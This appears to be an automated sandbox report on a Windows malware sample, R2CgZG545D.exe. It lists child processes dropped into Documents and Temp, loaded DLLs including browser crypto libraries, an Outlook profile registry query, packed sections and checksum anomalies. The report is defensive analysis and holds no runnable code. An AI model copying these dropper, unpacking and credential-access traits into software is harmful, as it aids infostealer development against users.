Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2092,i,5216794455823699490,3193529154071514204,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2224,i,14321603790260887012,4088667357503153819,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1940,i,17350180843755369966,13513433149912456994,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EHJKKKFIIJ.exe "C:\Users\user\Documents\EHJKKKFIIJ.exe"	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe "C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe"
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: R2CgZG545D.exe

Static file information: File size 2917888 > 1048576

Source: R2CgZG545D.exe

Static PE information: Raw size of lalofjun is bigger than: 0x100000 < 0x2ae200

Source:	Binary string: mozglue.pdbP source: R2CgZG545D.exe, 00000000.00000002.2668569169.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: R2CgZG545D.exe, 00000000.00000002.2668569169.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Unpacked PE file: 0.2.R2CgZG545D.exe.850000.0.unpack :EW;.rsrc:W;.idata :W;lalofjun:EW;ccythcdc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lalofjun:EW;ccythcdc:EW;.taggant:EW;
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Unpacked PE file: 14.2.EHJKKKFIIJ.exe.880000.0.unpack :EW;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ascqmpzr:EW;vkonyklc:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.17.dr	Static PE information: real checksum: 0x44a4e7 should be: 0x3ee666
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x2e8826 should be: 0x2dd7ed
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: real checksum: 0x2e8826 should be: 0x2dd7ed
Source: py8tmzb[1].exe.17.dr	Static PE information: real checksum: 0x0 should be: 0xa7ae8
Source: f5de50ddb2.exe.17.dr	Static PE information: real checksum: 0x44a4e7 should be: 0x3ee666
Source: gdi32.dll.18.dr	Static PE information: real checksum: 0x0 should be: 0x9f4e3
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x2e8826 should be: 0x2dd7ed
Source: R2CgZG545D.exe	Static PE information: real checksum: 0x2cbedf should be: 0x2d28eb
Source: py8tmzb.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0xa7ae8

Source: R2CgZG545D.exe	Static PE information: section name:
Source: R2CgZG545D.exe	Static PE information: section name: .idata
Source: R2CgZG545D.exe	Static PE information: section name: lalofjun
Source: R2CgZG545D.exe	Static PE information: section name: ccythcdc
Source: R2CgZG545D.exe	Static PE information: section name: .taggant
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name:
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name: .idata
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name: ascqmpzr
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name: vkonyklc
Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: ascqmpzr
Source: random[1].exe.0.dr	Static PE information: section name: vkonyklc
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: ascqmpzr
Source: skotes.exe.14.dr	Static PE information: section name: vkonyklc
Source: skotes.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_0089D91C push ecx; ret	14_2_0089D92F
Source: C:\Users\user\Documents\EHJKKKFIIJ.exe	Code function: 14_2_00891359 push es; ret	14_2_0089135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0019D91C push ecx; ret	15_2_0019D92F

Source: EHJKKKFIIJ.exe.0.dr	Static PE information: section name: entropy: 7.980946742819636
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.980946742819636
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.980946742819636
Source: py8tmzb[1].exe.17.dr	Static PE information: section name: .text entropy: 7.115417718992081
Source: py8tmzb.exe.17.dr	Static PE information: section name: .text entropy: 7.115417718992081

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\R2CgZG545D.exe

File created: C:\Users\user\Documents\EHJKKKFIIJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\R2CgZG545D.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
